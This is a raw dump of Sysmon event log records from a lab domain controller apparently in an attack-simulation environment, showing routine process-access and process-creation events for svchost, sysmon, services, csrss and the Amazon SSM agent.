09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001416Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.606{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-2B00-000000007F01}2724C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001415Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.606{A5F018FF-28BD-5F80-0A00-000000007F01}852912C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2B00-000000007F01}2724C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001414Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.320{A5F018FF-28CF-5F80-2B00-000000007F01}2724C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe-----"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=D99D0B786003034B7255BA854D2750DF,SHA256=E59FC75594AA351583476F38E8C008C2AD2119C229D9C4540EFE17AFAEF7ED34,IMPHASH=F0070935B15A909B9DC00BE7997E6112{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001413Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.606{A5F018FF-28BD-5F80-0A00-000000007F01}8522620C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3100-000000007F01}2600C:\Program Files (x86)\nxlog\nxlog.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001412Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001411Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001410Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001409Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001408Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001407Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001406Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001405Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001404Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001403Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001402Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001401Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001400Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001399Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001398Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001397Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001396Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001395Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001394Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001393Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001392Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 